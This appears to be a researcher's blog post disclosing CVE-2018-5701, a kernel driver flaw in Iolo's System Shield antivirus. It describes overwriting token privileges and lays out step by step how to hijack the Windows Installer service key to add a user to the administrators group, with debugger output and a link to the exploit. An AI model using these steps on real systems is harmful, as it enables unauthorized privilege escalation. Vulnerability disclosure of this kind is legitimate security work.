All posts for the month January, 2018

A kernel vulnerability exists in an antivirus product called “System Shield AntiVirus and AntiSpyware” by Iolo Technologies. This is an arbitrary memory overwrite vulnerability due to the inputted buffer not being validated and has been assigned a CVE ID of CVE-2018-5701. The product version of “System Shield AntiVirus and AntiSpyware” tested on is and the vulnerable version of the driver “amp.sys” is

Due to no response from the vendor for the last few weeks I’m going public with this one. Another one of their products “System Mechanic Pro” on version is also affected from this vulnerability as it gets shipped with the same version of the driver as is bundled with “System Shield AntiVirus and AntiSpyware”. There is however an update downloader link on the site for “System Mechanic Pro” bringing it to version where the vulnerable driver has been removed.

To get to our arbitrary write a number of conditions had to be satisfied in a number of subroutines, the main disassembly screen shots shown below.

To exploit I’m overwriting the _SEP_TOKEN_PRIVILEGES structure with the fixed value of 0xFFFFFFFE. You can play with the offsets to get different number of privileges but with the offsets I chose I ended up looking like this below

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002cc4a30+40
   +0x000 Present          : 0xff`fffffe00
   +0x008 Enabled          : 0xff`fffffe00
   +0x010 EnabledByDefault : 0x800000

Looking at the number of privileges obtained we have a few to choose from for our exploit.

kd> !token fffff8a002cc4a30
_TOKEN fffff8a002cc4a30
TS Session ID: 0x1
User: S-1-5-21-2231847605-3015871416-1385684711-1001
 00 S-1-5-21-2231847605-3015871416-1385684711-513
    Attributes - Mandatory Default Enabled 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-114
    Attributes - DenyOnly 
 03 S-1-5-32-545
    Attributes - Mandatory Default Enabled 
 04 S-1-5-32-544
    Attributes - DenyOnly 
 05 S-1-5-4
    Attributes - Mandatory Default Enabled 
 06 S-1-2-1
    Attributes - Mandatory Default Enabled 
 07 S-1-5-11
    Attributes - Mandatory Default Enabled 
 08 S-1-5-15
    Attributes - Mandatory Default Enabled 
 09 S-1-5-113
    Attributes - Mandatory Default Enabled 
 10 S-1-5-5-0-1059199
    Attributes - Mandatory Default Enabled LogonId 
 11 S-1-2-0
    Attributes - Mandatory Default Enabled 
 12 S-1-5-64-10
    Attributes - Mandatory Default Enabled 
 13 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-21-2231847605-3015871416-1385684711-513
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - Enabled 
 10 0x00000000a SeLoadDriverPrivilege             Attributes - Enabled 
 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled 
 12 0x00000000c SeSystemtimePrivilege             Attributes - Enabled 
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled 
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled 
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled 
 17 0x000000011 SeBackupPrivilege                 Attributes - Enabled 
 18 0x000000012 SeRestorePrivilege                Attributes - Enabled 
 19 0x000000013 SeShutdownPrivilege               Attributes - Enabled 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled 
 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled 
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - Enabled 
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default 
 24 0x000000018 SeRemoteShutdownPrivilege         Attributes - Enabled 
 25 0x000000019 SeUndockPrivilege                 Attributes - Enabled 
 26 0x00000001a SeSyncAgentPrivilege              Attributes - Enabled 
 27 0x00000001b SeEnableDelegationPrivilege       Attributes - Enabled 
 28 0x00000001c SeManageVolumePrivilege           Attributes - Enabled 
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled 
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled 
 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes - Enabled 
 32 0x000000020 SeRelabelPrivilege                Attributes - Enabled 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled 
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled 
 36 0x000000024 Unknown Privilege                 Attributes - Enabled 
 37 0x000000025 Unknown Privilege                 Attributes - Enabled 
 38 0x000000026 Unknown Privilege                 Attributes - Enabled 
 39 0x000000027 Unknown Privilege                 Attributes - Enabled 
Authentication ID:         (0,1029c8)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: User32             TokenFlags: 0x2a00 ( Token in use )
Token ID: 13d229           ParentToken ID: 1029cb
Modified ID:               (0, 139e0a)
RestrictedSidCount: 0      RestrictedSids: 0000000000000000
OriginatingLogonSession: 3e7

For exploiting I decided to use the “SeTakeOwnershipPrivilege” privilege. The idea I had was to take ownership of a Windows Service key and have the ability to start it. The service I found was the “Windows Installer” service.

So the steps were to:

  1. Take ownership of the key HKLM\SYSTEM\CurrentControlSet\services\msiserver
  2. Change the “ImagePath” value to our command or executable we which want to run
  3. Start the service by running “msiexec.exe /i poc.msi /quiet”
  4. Restore all settings

Here poc.msi doesn’t really exist but by initiating an msi install will start the service and run our command. Trying to get an interactive shell is another matter as we have to deal with “Session 0 Isolation” which I haven’t really looked into so decided to use the net command to add the account to the local administrators group.

The exploit can be downloaded from here [zip]